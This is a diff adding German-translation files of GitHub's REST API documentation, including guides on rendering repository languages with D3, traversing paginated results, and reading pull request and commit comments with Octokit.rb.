+]
+```
+
+Da wir bereits eine Liste der oben aufgeführten Repositorys haben, überprüfen wir jede einzelne und rufen [die API-Methode für die Sprachauflistung][language API] auf:
+
+``` ruby
+repos.each do |repo|
+  repo_name = repo.name
+  repo_langs = octokit_client.languages("#{github_user.login}/#{repo_name}")
+end
+```
+
+From there, we'll cumulatively add each language found to a "master list":
+
+``` ruby
+repo_langs.each do |lang, count|
+  if !language_obj[lang]
+    language_obj[lang] = count
+  else
+    language_obj[lang] += count
+  end
+end
+```
+
+Danach werden wir den Inhalt in eine Struktur formatieren, die D3 versteht:
+
+``` ruby
+language_obj.each do |lang, count|
+  language_byte_count.push :name => "#{lang} (#{count})", :count => count
+end
+
+# some mandatory formatting for D3
+language_bytes = [ :name => "language_bytes", :elements => language_byte_count]
+```
+
+(Weitere Informationen zu D3 Tree Map Magic findest du in [diesem einfachen Lernprogramm][language API].)
+
+Zum Umschließen übergeben wir diese JSON-Informationen an dieselbe ERB-Vorlage:
+
+``` ruby
+erb :lang_freq, :locals => { :languages => languages.to_json, :language_byte_count => language_bytes.to_json}
+```
+
+Wie zuvor siehst du hier eine Reihe von JavaScripts, die du direkt in deine Vorlage ablegen kannst:
+
+``` html
+<div id="byte_freq"></div>
+<script>
+  var language_bytes = <%= language_byte_count %>
+  var childrenFunction = function(d){return d.elements};
+  var sizeFunction = function(d){return d.count;};
+  var colorFunction = function(d){return Math.floor(Math.random()*20)};
+  var nameFunction = function(d){return d.name;};
+
+  var color = d3.scale.linear()
+              .domain([0,10,15,20])
+              .range(["grey","green","yellow","red"]);
+
+  drawTreemap(5000, 2000, '#byte_freq', language_bytes, childrenFunction, nameFunction, sizeFunction, colorFunction, color);
+
+  function drawTreemap(height,width,elementSelector,language_bytes,childrenFunction,nameFunction,sizeFunction,colorFunction,colorScale){
+
+      var treemap = d3.layout.treemap()
+          .children(childrenFunction)
+          .size([width,height])
+          .value(sizeFunction);
+
+      var div = d3.select(elementSelector)
+          .append("div")
+          .style("position","relative")
+          .style("width",width + "px")
+          .style("height",height + "px");
+
+      div.data(language_bytes).selectAll("div")
+          .data(function(d){return treemap.nodes(d);})
+          .enter()
+          .append("div")
+          .attr("class","cell")
+          .style("background",function(d){ return colorScale(colorFunction(d));})
+          .call(cell)
+          .text(nameFunction);
+  }
+
+  function cell(){
+      this
+          .style("left",function(d){return d.x + "px";})
+          .style("top",function(d){return d.y + "px";})
+          .style("width",function(d){return d.dx - 1 + "px";})
+          .style("height",function(d){return d.dy - 1 + "px";});
+  }
+</script>
+```
+
+Et voila! Schöne Rechtecke, die deine Repositorysprachen enthalten, mit relativen Proportionen, die auf einen Blick leicht zu erkennen sind. Möglicherweise musst du die Höhe und Breite deiner Baumstruktur optimieren, die als die ersten beiden `drawTreemap`-Argumente oben übergeben wurden, damit alle Informationen ordnungsgemäß angezeigt werden.
+
+
+[D3.js]: http://d3js.org/
+[basics-of-authentication]: /rest/guides/basics-of-authentication
+[sinatra auth github]: https://github.com/atmos/sinatra_auth_github
+[Octokit]: https://github.com/octokit/octokit.rb
+[D3 mortals]: http://www.recursion.org/d3-for-mere-mortals/
+[D3 treemap]: https://www.d3-graph-gallery.com/treemap.html 
+[language API]: /rest/reference/repos#list-repository-languages
+[simple tree map]: http://2kittymafiasoftware.blogspot.com/2011/09/simple-treemap-visualization-with-d3.html
+[platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/rendering-data-as-graphs
+[new oauth application]: https://github.com/settings/applications/new
diff --git a/translations/de-DE/content/rest/guides/traversing-with-pagination.md b/translations/de-DE/content/rest/guides/traversing-with-pagination.md
new file mode 100644
index 0000000000..f47cd8dbbf
--- /dev/null
+++ b/translations/de-DE/content/rest/guides/traversing-with-pagination.md
@@ -0,0 +1,350 @@
+---
+title: Traversing with pagination
+intro: Explore how to use pagination to manage your responses with some examples using the Search API.
+redirect_from:
+  - /guides/traversing-with-pagination
+  - /v3/guides/traversing-with-pagination
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+shortTitle: Traverse with pagination
+miniTocMaxHeadingLevel: 3
+---
+
+The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API provides a vast wealth of information for developers to consume.
+Most of the time, you might even find that you're asking for _too much_ information,
+and in order to keep our servers happy, the API will automatically [paginate the requested items](/rest/overview/resources-in-the-rest-api#pagination).
+
+In this guide, we'll make some calls to the Search API, and iterate over
+the results using pagination. You can find the complete source code for this project
+in the [platform-samples][platform samples] repository.
+
+{% data reusables.rest-api.dotcom-only-guide-note %}
+
+
+
+## Basics of Pagination
+
+To start with, it's important to know a few facts about receiving paginated items:
+
+
+1. Different API calls respond with different defaults. For example, a call to
+[List public repositories](/rest/reference/repos#list-public-repositories)
+provides paginated items in sets of 30, whereas a call to the GitHub Search API
+provides items in sets of 100
+2. You can specify how many items to receive (up to a maximum of 100); but,
+3. For technical reasons, not every endpoint behaves the same. For example,
+[events](/rest/reference/activity#events) won't let you set a maximum for items to receive.
+Be sure to read the documentation on how to handle paginated results for specific endpoints.
+
+{% note %}
+
+**Note**: You should always rely on URLs included in the link header. Don't try to guess or construct your own URLs.
+
+{% endnote %}
+
+
+### Link header
+
+The response header includes information about pagination. For more information about headers, see "[Getting started with the REST API](/rest/guides/getting-started-with-the-rest-api#about-the-response-code-and-headers)." To get the response header, include the `-I` flag in your request. For example:
+
+```shell 
+$ curl -I -H "Accept: application/vnd.github+json" -H "Authorization: Bearer YOUR_TOKEN"   https://api.github.com/enterprises/advacado-corp/audit-log
+
+```
+
+The `-I` flag returns only the response header. If the response is paginated, the response header will include a `link` header. The header will look something like this:
+
+```
+link: <https://api.github.com/enterprises/13827/audit-log?after=MS42NjQzODM5MTkzNDdlKzEyfDM0MkI6NDdBNDo4RTFGMEM6NUIyQkZCMzo2MzM0N0JBRg%3D%3D&before=>; rel="next"
+```
+
+or
+
+```
+link: <https://api.github.com/repositories/1300192/issues?page=2>; rel="next", <https://api.github.com/repositories/1300192/issues?page=511>; rel="last"
+```
+### Types of pagination
+
+{% data variables.product.company_short %}'s API uses two pagination methods: page-based pagination and cursor-based pagination. If the `link` header includes `page`, then the operation uses page-based pagination. If the `link` header includes `before` and `after`, then the operation uses cursor-based pagination.
+
+
+#### Page based pagination
+
+The link header for page-based pagination will tell you information about the previous, next, first, and last pages. If you did not request a specific page, then the response will default to the first page and information about the first and previous pages will be omitted.
+
+For example, for a request that did not specify a page, this header states that the next page is `2` and the last page is `511`.
+
+```
+link: <https://api.github.com/repositories/1300192/issues?page=2>; rel="next", <https://api.github.com/repositories/1300192/issues?page=511>; rel="last"
+```
+
+For example, for a request that specified page 5, this header states that the previous page is `4`, the next page is `6`, the last page is `511`, and the first page is `1`.
+
+```
+link: <https://api.github.com/repositories/1300192/issues?page=4>; rel="prev", <https://api.github.com/repositories/1300192/issues?page=6>; rel="next", <https://api.github.com/repositories/1300192/issues?page=511>; rel="last", <https://api.github.com/repositories/1300192/issues?page=1>; rel="first"
+```
+
+#### Cursor based pagination
+
+Cursor pagination uses terms `before` and `after` in order to navigate through pages. `rel="next"` and `rel="prev"` this mark the cursor point in the data set and provides a reference for traveling to the page `before` and `after` the current page.  
+
+```
+link: <https://api.github.com/enterprises/13827/audit-log?after=MS42NjQzODMzMzk2MzZlKzEyfFdxSzIxdGU0MlBWNUp5UzhBWDF6LWc%3D&before=>; rel="next",
+<https://api.github.com/enterprises/13827/audit-log?after=&before=>; rel="first", 
+<https://api.github.com/enterprises/13827/audit-log?after=&before=MS42NjQzODM5MTcyMjllKzEyfDI4NDE6NEVFNDoxODBDRkM5OjY5REE0MzI6NjMzNDdCQUQ%3D>; rel="prev"
+```
+
+In this example, `rel=next` says that the next page is located at:
+
+```
+after=MS42NjQzODM5MTkzNDdlKzEyfDM0MkI6NDdBNDo4RTFGMEM6NUIyQkZCMzo2MzM0N0JBRg%3D%3D&before=>
+```
+
+
+
+
+### Using pagination
+
+#### Cursor based pagination
+
+Using cursor based pagination requires you to use the terms `before` and `after`. To navigate using `before` and `after`, copy the link header generated above into your curl request:
+
+```shell
+$ curl -I -H "Accept: application/vnd.github+json" -H "Authorization: Bearer YOUR_TOKEN"  https://api.github.com/enterprises/13827/audit-log?after=MS42NjQzODM5MTkzNDdlKzEyfDM0MkI6NDdBNDo4RTFGMEM6NUIyQkZCMzo2MzM0N0JBRg%3D%3D&before=>
+```
+
+The above example will generate a page of results and new header information that you can use to make the next request. `rel="next"` provides the next page of results. `rel="prev"` provides the previous page of results. The important part of the output here is the link header needs to be generated rather than manually imputed. Copy the entire link from the following output.
+
+```
+link: <https://api.github.com/enterprises/13827/audit-log?after=MS42NjQzODMzMzk2MzZlKzEyfFdxSzIxdGU0MlBWNUp5UzhBWDF6LWc%3D&before=>; rel="next", 
+<https://api.github.com/enterprises/13827/audit-log?after=&before=>; rel="first", 
+<https://api.github.com/enterprises/13827/audit-log?after=&before=MS42NjQzODM5MTcyMjllKzEyfDI4NDE6NEVFNDoxODBDRkM5OjY5REE0MzI6NjMzNDdCQUQ%3D>; rel="prev"
+```
+
+Unlike page-based pagination, the results will not return the last page number in the response.
+
+    link: <https://api.github.com/enterprises/13827/audit-log?after=MS42NjQzODMzMzk2MzZlKzEyfFdxSzIxdGU0MlBWNUp5UzhBWDF6LWc%3D&before=>; rel="next", 
+    <https://api.github.com/enterprises/13827/audit-log?after=&before=>; rel="first", 
+    <https://api.github.com/enterprises/13827/audit-log?after=&before=MS42NjQzODM5MTcyMjllKzEyfDI4NDE6NEVFNDoxODBDRkM5OjY5REE0MzI6NjMzNDdCQUQ%3D>; rel="prev"
+    
+Because cursor based pagination creates a reference point in the data set, it cannot calculate the total number of results.
+
+
+#### Page based pagination
+
+To navigate using page based pagination pass in a `page`
+parameter. By default, `page` always starts at `1`. In the following example, we have made a curl request to the search API Mozilla projects use the phrase `addClass`. Instead of starting at 1, lets jump to page 14. 
+
+```shell
+$ curl -I "https://api.github.com/search/code?q=addClass+user:mozilla&page=14"
+```
+
+Here's an except of the link header in the HTTP request:
+
+    Link: <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=15>; rel="next",
+      <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=34>; rel="last",
+      <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=1>; rel="first",
+      <https://api.github.com/search/code?q=addClass+user%3Amozilla&page=13>; rel="prev"
+
+In this example, `rel="next"` is at 15, and `rel="last"` is 34. But now we've
+got some more information: `rel="first"` indicates the URL for the _first_ page,
+and more importantly, `rel="prev"` lets you know the page number of the previous
+page. Using this information, you could construct some UI that lets users jump
+between the first, previous, next, or last list of results in an API call.
+
+
+### Changing the number of items received
+
+#### Page based pagination
+
+By passing the `per_page` parameter, you can specify how many items you want
+each page to return, up to 100 items. Let's try asking for 50 items about `addClass`:
+
+```shell
+$ curl -I "https://api.github.com/search/code?q=addClass+user:mozilla&per_page=50"
+```
+
+Notice what it does to the header response:
+
+    Link: <https://api.github.com/search/code?q=addClass+user%3Amozilla&per_page=50&page=2>; rel="next",
+      <https://api.github.com/search/code?q=addClass+user%3Amozilla&per_page=50&page=20>; rel="last"
+
+As you might have guessed, the `rel="last"` information says that the last page
+is now 20. This is because we are asking for more information per page about
+our results.
+
+#### Cursor based pagination
+
+You can also pass the `per_page` parameter for cursor-based pagination. 
+
+```shell
+$ curl -I -H "Accept: application/vnd.github+json" -H "Authorization: Bearer YOUR_TOKEN"  https://api.github.com/enterprises/13827/audit-log?after=MS42NjQzODM5MTkzNDdlKzEyfDM0MkI6NDdBNDo4RTFGMEM6NUIyQkZCMzo2MzM0N0JBRg%3D%3D&before=>&per_page=50
+```
+
+## Consuming the information
+
+You don't want to be making low-level curl calls just to be able to work with
+pagination, so let's write a little Ruby script that does everything we've
+just described above.
+
+As always, first we'll require [GitHub's Octokit.rb][octokit.rb] Ruby library, and
+pass in our [{% data variables.product.pat_generic %}][personal token]:
+
+``` ruby
+require 'octokit'
+
+# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!!
+# Instead, set and test environment variables, like below
+client = Octokit::Client.new :access_token => ENV['MY_PERSONAL_TOKEN']
+```
+
+Next, we'll execute the search, using Octokit's `search_code` method. Unlike
+using `curl`, we can also immediately retrieve the number of results, so let's
+do that:
+
+``` ruby
+results = client.search_code('addClass user:mozilla')
+total_count = results.total_count
+```
+
+Now, let's grab the number of the last page, similar to `page=34>; rel="last"`
+information in the link header. Octokit.rb support pagination information through
+an implementation called "[Hypermedia link relations][hypermedia-relations]."
+We won't go into detail about what that is, but, suffice to say, each element
+in the `results` variable has a hash called `rels`, which can contain information
+about `:next`, `:last`, `:first`, and `:prev`, depending on which result you're
+on. These relations also contain information about the resulting URL, by calling
+`rels[:last].href`.
+
+Knowing this, let's grab the page number of the last result, and present all
+this information to the user:
+
+``` ruby
+last_response = client.last_response
+number_of_pages = last_response.rels[:last].href.match(/page=(\d+).*$/)[1]
+
+puts "There are #{total_count} results, on #{number_of_pages} pages!"
+```
+
+Finally, let's iterate through the results. You could do this with a loop `for i in 1..number_of_pages.to_i`,
+but instead, let's follow the `rels[:next]` headers to retrieve information from
+each page. For the sake of simplicity, let's just grab the file path of the first
+result from each page. To do this, we'll need a loop; and at the end of every loop,
+we'll retrieve the data set for the next page by following the `rels[:next]` information.
+The loop will finish when there is no `rels[:next]` information to consume (in other
+words, we are at `rels[:last]`). It might look something like this:
+
+``` ruby
+puts last_response.data.items.first.path
+until last_response.rels[:next].nil?
+  last_response = last_response.rels[:next].get
+  puts last_response.data.items.first.path
+end
+```
+
+Changing the number of items per page is extremely simple with Octokit.rb. Simply
+pass a `per_page` options hash to the initial client construction. After that,
+your code should remain intact:
+
+``` ruby
+require 'octokit'
+
+# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!!
+# Instead, set and test environment variables, like below
+client = Octokit::Client.new :access_token => ENV['MY_PERSONAL_TOKEN']
+
+results = client.search_code('addClass user:mozilla', :per_page => 100)
+total_count = results.total_count
+
+last_response = client.last_response
+number_of_pages = last_response.rels[:last].href.match(/page=(\d+).*$/)[1]
+
+puts last_response.rels[:last].href
+puts "There are #{total_count} results, on #{number_of_pages} pages!"
+
+puts "And here's the first path for every set"
+
+puts last_response.data.items.first.path
+until last_response.rels[:next].nil?
+  last_response = last_response.rels[:next].get
+  puts last_response.data.items.first.path
+end
+```
+
+## Constructing Pagination Links
+
+Normally, with pagination, your goal isn't to concatenate all of the possible
+results, but rather, to produce a set of navigation, like this:
+
+![Sample of pagination links](/assets/images/pagination_sample.png)
+
+Let's sketch out a micro-version of what that might entail.
+
+From the code above, we already know we can get the `number_of_pages` in the
+paginated results from the first call:
+
+``` ruby
+require 'octokit'
+
+# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!!
+# Instead, set and test environment variables, like below
+client = Octokit::Client.new :access_token => ENV['MY_PERSONAL_TOKEN']
+
+results = client.search_code('addClass user:mozilla')
+total_count = results.total_count
+
+last_response = client.last_response
+number_of_pages = last_response.rels[:last].href.match(/page=(\d+).*$/)[1]
+
+puts last_response.rels[:last].href
+puts "There are #{total_count} results, on #{number_of_pages} pages!"
+```
+
+From there, we can construct a beautiful ASCII representation of the number boxes:
+``` ruby
+numbers = ""
+for i in 1..number_of_pages.to_i
+  numbers << "[#{i}] "
+end
+puts numbers
+```
+
+Let's simulate a user clicking on one of these boxes, by constructing a random
+number:
+
+``` ruby
+random_page = Random.new
+random_page = random_page.rand(1..number_of_pages.to_i)
+
+puts "A User appeared, and clicked number #{random_page}!"
+```
+
+Now that we have a page number, we can use Octokit to explicitly retrieve that
+individual page, by passing the `:page` option:
+
+``` ruby
+clicked_results = client.search_code('addClass user:mozilla', :page => random_page)
+```
+
+If we wanted to get fancy, we could also grab the previous and next pages, in
+order to generate links for back (`<<`) and forward (`>>`) elements:
+
+``` ruby
+prev_page_href = client.last_response.rels[:prev] ? client.last_response.rels[:prev].href : "(none)"
+next_page_href = client.last_response.rels[:next] ? client.last_response.rels[:next].href : "(none)"
+
+puts "The prev page link is #{prev_page_href}"
+puts "The next page link is #{next_page_href}"
+```
+
+[pagination]: /rest#pagination
+[platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/traversing-with-pagination
+[octokit.rb]: https://github.com/octokit/octokit.rb
+[personal token]: /articles/creating-an-access-token-for-command-line-use
+[hypermedia-relations]: https://github.com/octokit/octokit.rb#pagination
+[listing commits]: /rest/reference/commits#list-commits
diff --git a/translations/de-DE/content/rest/guides/working-with-comments.md b/translations/de-DE/content/rest/guides/working-with-comments.md
new file mode 100644
index 0000000000..201ac1ffe3
--- /dev/null
+++ b/translations/de-DE/content/rest/guides/working-with-comments.md
@@ -0,0 +1,129 @@
+---
+title: Working with comments
+intro: 'Using the REST API, you can access and manage comments in your pull requests, issues, or commits.'
+redirect_from:
+  - /guides/working-with-comments
+  - /v3/guides/working-with-comments
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+---
+
+
+
+For any Pull Request, {% data variables.product.product_name %} provides three kinds of comment views:
+[comments on the Pull Request][PR comment] as a whole, [comments on a specific line][PR line comment] within the Pull Request,
+and [comments on a specific commit][commit comment] within the Pull Request. 
+
+Each of these types of comments goes through a different portion of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API.
+In this guide, we'll explore how you can access and manipulate each one. For every
+example, we'll be using [this sample Pull Request made][sample PR] on the "octocat"
+repository. As always, samples can be found in [our platform-samples repository][platform-samples].
+
+## Pull Request Comments
+
+To access comments on a Pull Request, you'll go through [the Issues API][issues].
+This may seem counterintuitive at first. But once you understand that a Pull
+Request is just an Issue with code, it makes sense to use the Issues API to
+create comments on a Pull Request.
+
+We'll demonstrate fetching Pull Request comments by creating a Ruby script using
+[Octokit.rb][octokit.rb]. You'll also want to create a [{% data variables.product.pat_generic %}][personal token].
+
+The following code should help you get started accessing comments from a Pull Request
+using Octokit.rb:
+
+``` ruby
+require 'octokit'
+
+# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!!
+# Instead, set and test environment variables, like below
+client = Octokit::Client.new :access_token => ENV['MY_PERSONAL_TOKEN']
+
+client.issue_comments("octocat/Spoon-Knife", 1176).each do |comment|
+  username = comment[:user][:login]
+  post_date = comment[:created_at]
+  content = comment[:body]
+
+  puts "#{username} made a comment on #{post_date}. It says:\n'#{content}'\n"
+end
+```
+
+Here, we're specifically calling out to the Issues API to get the comments (`issue_comments`),
+providing both the repository's name (`octocat/Spoon-Knife`), and the Pull Request ID
+we're interested in (`1176`). After that, it's simply a matter of iterating through
+the comments to fetch information about each one.
+
+## Pull Request Comments on a Line
+
+Within the diff view, you can start a discussion on a particular aspect of a singular
+change made within the Pull Request. These comments occur on the individual lines
+within a changed file. The endpoint URL for this discussion comes from [the Pull Request Review API][PR Review API].
+
+The following code fetches all the Pull Request comments made on files, given a single Pull Request number:
+
+``` ruby
+require 'octokit'
+
+# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!!
+# Instead, set and test environment variables, like below
+client = Octokit::Client.new :access_token => ENV['MY_PERSONAL_TOKEN']
+
+client.pull_request_comments("octocat/Spoon-Knife", 1176).each do |comment|
+  username = comment[:user][:login]
+  post_date = comment[:created_at]
+  content = comment[:body]
+  path = comment[:path]
+  position = comment[:position]
+
+  puts "#{username} made a comment on #{post_date} for the file called #{path}, on line #{position}. It says:\n'#{content}'\n"
+end
+```
+
+You'll notice that it's incredibly similar to the example above. The difference
+between this view and the Pull Request comment is the focus of the conversation.
+A comment made on a Pull Request should be reserved for discussion or ideas on
+the overall direction of the code. A comment made as part of a Pull Request review should
+deal specifically with the way a particular change was implemented within a file.
+
+## Commit Comments
+
+The last type of comments occur specifically on individual commits. For this reason,
+they make use of [the commit comment API][commit comment API].
+
+To retrieve the comments on a commit, you'll want to use the SHA1 of the commit.
+In other words, you won't use any identifier related to the Pull Request. Here's an example:
+
+``` ruby
+require 'octokit'
+
+# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!!
+# Instead, set and test environment variables, like below
+client = Octokit::Client.new :access_token => ENV['MY_PERSONAL_TOKEN']
+
+client.commit_comments("octocat/Spoon-Knife", "cbc28e7c8caee26febc8c013b0adfb97a4edd96e").each do |comment|
+  username = comment[:user][:login]
+  post_date = comment[:created_at]
+  content = comment[:body]
+
+  puts "#{username} made a comment on #{post_date}. It says:\n'#{content}'\n"
+end
+```
+
+Note that this API call will retrieve single line comments, as well as comments made
+on the entire commit.
+
+[PR comment]: https://github.com/octocat/Spoon-Knife/pull/1176#issuecomment-24114792
+[PR line comment]: https://github.com/octocat/Spoon-Knife/pull/1176#discussion_r6252889
+[commit comment]: https://github.com/octocat/Spoon-Knife/commit/cbc28e7c8caee26febc8c013b0adfb97a4edd96e#commitcomment-4049848
+[sample PR]: https://github.com/octocat/Spoon-Knife/pull/1176
+[platform-samples]: https://github.com/github/platform-samples/tree/master/api/ruby/working-with-comments
+[issues]: /rest/reference/issues#comments
+[personal token]: /articles/creating-an-access-token-for-command-line-use
+[octokit.rb]: https://github.com/octokit/octokit.rb
+[PR Review API]: /rest/reference/pulls#comments
+[commit comment API]: /rest/reference/commits#get-a-commit-comment
diff --git a/translations/de-DE/content/rest/index.md b/translations/de-DE/content/rest/index.md
new file mode 100644
index 0000000000..9c06984d7d
--- /dev/null
+++ b/translations/de-DE/content/rest/index.md
@@ -0,0 +1,88 @@
+---
+title: GitHub-REST-API
+shortTitle: REST API
+intro: 'Um Integrationen zu erstellen, Daten abzurufen und deine Workflows zu automatisieren, benutzt du zum Erstellen die {% data variables.product.prodname_dotcom %}-REST-API.'
+introLinks:
+  quickstart: /rest/quickstart
+  overview: /rest/guides/getting-started-with-the-rest-api
+featuredLinks:
+  guides:
+    - /rest/guides/getting-started-with-the-rest-api
+    - /rest/guides/basics-of-authentication
+    - /rest/guides/best-practices-for-integrators
+  popular:
+    - /rest/overview/resources-in-the-rest-api
+    - /rest/overview/other-authentication-methods
+    - /rest/overview/troubleshooting
+    - /rest/overview/endpoints-available-for-github-apps
+    - /rest/overview/openapi-description
+  guideCards:
+    - /rest/guides/delivering-deployments
+    - /rest/guides/getting-started-with-the-checks-api
+    - /rest/guides/traversing-with-pagination
+changelog:
+  label: 'api, apis'
+layout: product-landing
+redirect_from:
+  - /v3
+  - /rest/reference
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /quickstart
+  - /overview
+  - /guides
+  - /actions
+  - /activity
+  - /apps
+  - /billing
+  - /branches
+  - /checks
+  - /codes-of-conduct
+  - /code-scanning
+  - /codespaces
+  - /collaborators
+  - /commits
+  - /dependabot
+  - /dependency-graph
+  - /deploy-keys
+  - /deployments
+  - /emojis
+  - /enterprise-admin
+  - /gists
+  - /git
+  - /gitignore
+  - /interactions
+  - /issues
+  - /licenses
+  - /markdown
+  - /meta
+  - /metrics
+  - /migrations
+  - /oauth-authorizations
+  - /orgs
+  - /packages
+  - /pages
+  - /projects
+  - /pulls
+  - /rate-limit
+  - /reactions
+  - /releases
+  - /repos
+  - /scim
+  - /search
+  - /secret-scanning
+  - /teams
+  - /users
+  - /webhooks
+ms.openlocfilehash: d4d7e93d5bc22833168a932e047525c85e3f8768
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147673638'
+---
+
diff --git a/translations/de-DE/content/rest/interactions/index.md b/translations/de-DE/content/rest/interactions/index.md
new file mode 100644
index 0000000000..8f843735cd
--- /dev/null
+++ b/translations/de-DE/content/rest/interactions/index.md
@@ -0,0 +1,24 @@
+---
+title: Interaktionen
+intro: Mit der Interaktionen-API können Personen mit Besitzer- oder Administratorzugriff die Interaktionsgrenze für die Benutzer in ihren Organisationen und Repositorys festlegen.
+redirect_from:
+  - /v3/interactions
+  - /rest/reference/interactions
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+children:
+  - /orgs
+  - /repos
+  - /user
+ms.openlocfilehash: 5c9014c2cfa6caafe50a1c9ad2d6d9b6e55888f8
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '147886782'
+---
+Die Benutzer interagieren mit Repositorys, indem sie Kommentare abgeben, Issues öffnen und Pull Requests erstellen. Mit den Interaktionen-APIs können Personen mit Besitzer- oder Administratorzugriff vorübergehend die Interaktion mit öffentlichen Repositorys auf einen bestimmten Benutzertyp beschränken.
diff --git a/translations/de-DE/content/rest/interactions/orgs.md b/translations/de-DE/content/rest/interactions/orgs.md
new file mode 100644
index 0000000000..dad1bc5151
--- /dev/null
+++ b/translations/de-DE/content/rest/interactions/orgs.md
@@ -0,0 +1,27 @@
+---
+title: Organisationsinteraktionen
+shortTitle: Organization
+intro: 'Mit der Organisationsinteraktions-API können Organisationsbesitzer*innen vorübergehend einschränken, welche Art von Benutzern in den öffentlichen Repositorys der Organisation Kommentare schreiben, Issues öffnen oder Pull Requests erstellen können.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: f06bfbe50c7fa43d03329d69bba8816e4559565a
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147062466'
+---
+## Informationen zur Organisationsinteraktions-API
+
+Mit der Organisationsinteraktions-API können Organisationsbesitzer*innen vorübergehend einschränken, welche Art von Benutzern in den öffentlichen Repositorys der Organisation Kommentare schreiben, Issues öffnen oder Pull Requests erstellen können. {% data reusables.interactions.interactions-detail %} Hier findest du weitere Informationen zu den Typen von {% data variables.product.product_name %}-Benutzern:
+
+* {% data reusables.interactions.existing-user-limit-definition %} in der Organisation.
+* {% data reusables.interactions.contributor-user-limit-definition %} in der Organisation.
+* {% data reusables.interactions.collaborator-user-limit-definition %} in der Organisation.
+
+Durch Festlegen des Interaktionslimits auf Organisationsebene werden alle Interaktionsbeschränkungen überschrieben, die für einzelne Repositorys im Besitz der Organisation festgelegt sind. Verwende stattdessen die [Repositoryinteraktionsendpunkte](#repository), um unterschiedliche Interaktionslimits für einzelne Repositorys festzulegen, die der Organisation gehören.
diff --git a/translations/de-DE/content/rest/interactions/repos.md b/translations/de-DE/content/rest/interactions/repos.md
new file mode 100644
index 0000000000..915b781c0e
--- /dev/null
+++ b/translations/de-DE/content/rest/interactions/repos.md
@@ -0,0 +1,27 @@
+---
+title: Repositoryinteraktionen
+shortTitle: Repository
+intro: 'Mit der Repositoryinteraktions-API können Personen mit Besitzer- oder Administratorzugriff vorübergehend einschränken, welcher Benutzertyp in einem öffentlichen Repository Kommentare abgeben, Issues öffnen oder Pull Requests erstellen darf.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: e1d7d0137ddc2334bb08e17a0c8d7069c13d982d
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147064666'
+---
+## Informationen zur Repositoryinteraktions-API
+
+Mit der Repositoryinteraktions-API können Personen mit Besitzer- oder Administratorzugriff vorübergehend einschränken, welcher Benutzertyp in einem öffentlichen Repository Kommentare abgeben, Issues öffnen oder Pull Requests erstellen darf. {% data reusables.interactions.interactions-detail %} Hier findest du weitere Informationen zu den Typen von {% data variables.product.product_name %}-Benutzern:
+
+* {% data reusables.interactions.existing-user-limit-definition %} im Repository.
+* {% data reusables.interactions.contributor-user-limit-definition %} im Repository.
+* {% data reusables.interactions.collaborator-user-limit-definition %} im Repository.
+
+Wenn ein Interaktionsgrenzwert für den Benutzer oder die Organisation, die Besitzer des Repositorys ist, aktiviert ist, kann der Grenzwert für das einzelne Repository nicht geändert werden. Verwende stattdessen die Interaktionsendpunkte [Benutzer](#user) oder [Organisation](#organization), um den Interaktionsgrenzwert zu ändern.
diff --git a/translations/de-DE/content/rest/interactions/user.md b/translations/de-DE/content/rest/interactions/user.md
new file mode 100644
index 0000000000..34671b8d7f
--- /dev/null
+++ b/translations/de-DE/content/rest/interactions/user.md
@@ -0,0 +1,27 @@
+---
+title: Benutzerinteraktionen
+shortTitle: User
+allowTitleToDifferFromFilename: true
+intro: 'Mit der Benutzerinteraktions-API kannst du vorübergehend einschränken, welche Benutzer*innen kommentieren, Issues öffnen oder Pull Requests in deinen öffentlichen Repositorys können.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: e61096e6f09a9c17608e67846c138142c527c314
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147066898'
+---
+## Informationen zur Benutzerinteraktions-API
+
+Mit der Benutzerinteraktions-API kannst du vorübergehend einschränken, welche Benutzer*innen kommentieren, Issues öffnen oder Pull Requests in deinen öffentlichen Repositorys können. {% data reusables.interactions.interactions-detail %} Hier findest du weitere Informationen zu den Typen von {% data variables.product.product_name %}-Benutzer*innen:
+
